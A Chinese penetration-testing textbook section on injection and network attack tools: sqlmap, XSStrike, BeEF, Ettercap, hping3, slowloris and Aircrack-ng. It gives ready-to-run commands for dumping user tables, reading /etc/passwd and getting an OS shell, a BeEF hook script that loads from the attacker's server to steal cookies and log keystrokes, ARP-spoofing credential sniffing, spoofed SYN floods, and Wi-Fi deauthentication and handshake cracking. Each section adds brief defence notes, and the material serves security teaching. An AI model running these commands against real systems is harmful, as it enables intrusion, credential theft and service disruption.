注入攻击是Web安全和内网渗透中的重要手段。本节介绍SQL注入、XSS、中间人攻击、拒绝服务等常用工具,旨在帮助读者理解攻击原理,从而更好地防御。
4.5.1 SQL注入工具:sqlmap
sqlmap是自动化SQL注入检测和利用的最强大工具,支持多种数据库和后渗透操作。
一、安装
- Linux (麒麟) :sudo apt install sqlmap 或从GitHub克隆:git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
- Windows :下载Python脚本,运行python sqlmap.py
二、基本用法:检测注入点
- GET 方式 :sqlmap -u "http://target.com/page?id=1"
- POST 方式 :sqlmap -u "http://target.com/login" --data="user=admin&pass=123"
- 带 Cookie :sqlmap -u "http://target.com/page?id=1" --cookie="PHPSESSID=abc123"
sqlmap会检测参数是否存在注入,并识别数据库类型。
三、数据库枚举
- 列出数据库 :sqlmap -u <URL> --dbs
- 列出指定数据库的表 :sqlmap -u <URL> -D <数据库名> --tables
- 列出表的列 :sqlmap -u <URL> -D <数据库名> -T <表名> --columns
- 导出数据 :sqlmap -u <URL> -D <数据库名> -T <表名> --dump
四、访问文件系统
- 读取文件 :sqlmap -u <URL> --file-read="/etc/passwd"
- 写入文件 (需有写权限):sqlmap -u <URL> --file-write="/本地文件" --file-dest="/目标路径"
五、获取操作系统 shell
- 获取 OS Shell :sqlmap -u <URL> --os-shell,sqlmap会尝试利用数据库执行系统命令,返回交互式shell。
六、绕过 WAF 与隧道
- 使用 tamper 脚本 :--tamper=space2comment(将空格替换为注释),绕过简单WAF。
- 通过代理 :--proxy=http://127.0.0.1:8080,结合Burp Suite调试。
七、实际案例演示
假设存在注入点的测试环境URL:http://testweb.com/product?id=5
- 检测:sqlmap -u "http://testweb.com/product?id=5"
--batch(自动确认) - 发现存在注入,数据库为MySQL。
- 枚举数据库:sqlmap -u "http://testweb.com/product?id=5" --dbs,得到
shopdb。 - 枚举表:sqlmap -u "http://testweb.com/product?id=5" -D shopdb --tables,得到
users。 - 导出用户表:sqlmap -u "http://testweb.com/product?id=5" -D shopdb -T users --dump,获取用户名和哈希密码。
4.5.2 XSS攻击工具:XSStrike、BeEF
1.XSStrike
XSStrike是一款先进的XSS检测工具,内置多种检测向量和绕过技术。
- 安装 :git clone https://github.com/s0md3v/XSStrike
- 基本用法 :python xsstrike.py -u "http://target.com/page?name=test"
- 参数 :
--data:POST方式。--crawl:爬取目标页面所有链接并测试。--fuzzer:使用模糊测试。
2.BeEF ( Browser Exploitation Framework )
BeEF专注于浏览器端的攻击,通过钩住目标浏览器,执行各种命令模块。
架构:
- Hook:一段JavaScript代码,嵌入到目标页面中,使目标浏览器连接到BeEF服务器。
- 命令模块:BeEF服务器向钩住的浏览器发送指令,如获取Cookie、键盘记录、内网扫描等。
部署 BeEF 服务器:
- 安装(Kali自带,或从GitHub克隆)。
- 编辑配置文件
config.yaml,设置用户名密码。 - 启动:
./beef,访问http://127.0.0.1:3000/ui/panel登录管理界面。
利用 XSS 漏洞钩住目标浏览器:
- 在目标网站上发现XSS漏洞,可以插入
<script src="http://<BeEF``服务器``IP>:3000/hook.js"></script>。 - 当用户访问该页面时,浏览器会执行hook.js,连接到BeEF服务器,目标出现在在线列表中。
常用模块演示:
- 获取 Cookie:选择目标 -> Commands -> Browser -> Get Cookie,执行后返回当前页面的Cookie。
- 键盘记录:使用"Key Logger"模块,记录用户在页面上的所有按键。
- 内网扫描:使用"Ping Sweep"模块,从受害浏览器向内网发送探测,发现存活主机。
防御:严格过滤用户输入,启用CSP(内容安全策略),限制脚本加载来源。
4.5.3 中间人攻击工具:Ettercap
Ettercap是一款综合性的中间人攻击工具,支持ARP欺骗、ICMP重定向等,并内置多种插件和过滤器。
一、工作原理
- ARP 欺骗:在局域网中发送伪造ARP应答,使目标将网关流量指向攻击机。
- ICMP 重定向:较少用,但可重定向路由。
- 端口盗用:用于交换环境。
二、图形界面与命令行
- 启动图形界面 :ettercap -G
- 命令行模式 :ettercap -T(文本界面)
三、启动 ARP 欺骗攻击
- 开启IP转发:echo 1 > /proc/sys/net/ipv4/ip_forward
- 统一欺骗(同时欺骗目标和网关):
ettercap -T -M arp:remote /目标IP/ /网关IP/
- 攻击开始后,Ettercap会显示经过的HTTP、FTP等明文流量,可嗅探到用户名密码。
四、插件与过滤器
-
插件 :如
dns_spoof(DNS欺骗),需在启动时指定。ettercap -T -M arp -P dns_spoof /目标IP/ /网关IP/
-
过滤器 :可编写过滤脚本,实时修改数据包内容(如替换网页图片)。编写
.filter文件,用etterfilter编译为.ef,然后使用-F加载。
示例过滤器(替换网页内容):
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
msg("zapped Accept-Encoding!\n");
}
}
五、防御检测方法
- 静态ARP绑定(网关和关键服务器)。
- 启用DHCP Snooping和DAI。
- 使用加密通信(HTTPS、SSH)。
4.5.4 拒绝服务攻击工具:hping3、slowloris
1.hping3
hping3是强大的TCP/IP数据包构造器,可用于测试防火墙规则、模拟DDoS攻击(授权环境下)。
- SYN Flood:
hping3 -S -p 80 --flood --rand-source <目标IP>
-
-S:SYN包。-p 80:目标端口。--flood:尽可能快发包。--rand-source:伪造随机源IP。
- ICMP Flood:
hping3 -1 --flood --rand-source <目标IP>
- ACK Flood:
hping3 -A -p 80 --flood --rand-source <目标IP>
防御:在防火墙上限制连接速率,启用SYN Cookie,部署专业抗DDoS设备。
2.slowloris
slowloris是一种慢速HTTP DoS攻击,通过建立大量不完整的HTTP请求,耗尽服务器连接池。
- 原理:向Web服务器发送HTTP GET请求,但每次只发送少量数据,保持连接打开,最终占满所有可用连接。
- 工具:有多种实现,如Python版slowloris。
python slowloris.py -p 80 -s 1000 <目标IP>
- 防御:限制单个IP的连接数,调整服务器超时参数,使用反DDoS模块。
4.5.5 无线网络攻击工具
无线网络攻击在单位环境中可能涉及访客Wi-Fi的安全性测试。以下工具仅作简介,实际使用需严格授权。
1.Aircrack-ng 套件
包含一系列用于评估Wi-Fi安全的工具:
airmon-ng:启用无线网卡的监控模式。airodump-ng:捕获无线数据包,显示附近AP和客户端。aireplay-ng:注入数据包,用于去认证攻击、ARP重放等。aircrack-ng:破解WEP/WPA2密钥(通过抓取的握手包)。
基本流程(仅限授权测试):
- 开启监控模式:airmon-ng start wlan0
- 扫描周围网络:airodump-ng wlan0mon
- 抓取目标AP的握手包:airodump-ng -c <信道> --bssid <AP MAC> -w capture wlan0mon
- 对客户端进行去认证攻击,迫使其重新连接:aireplay-ng -0 2 -a <AP MAC> -c <客户端MAC> wlan0mon
- 用
aircrack-ng破解握手包:aircrack-ng -w wordlist.txt capture-01.cap
2. 防御 :
- 使用WPA2/WPA3,设置强密码。
- 启用802.1X认证(企业级)。
- 定期更换密码,禁用WPS。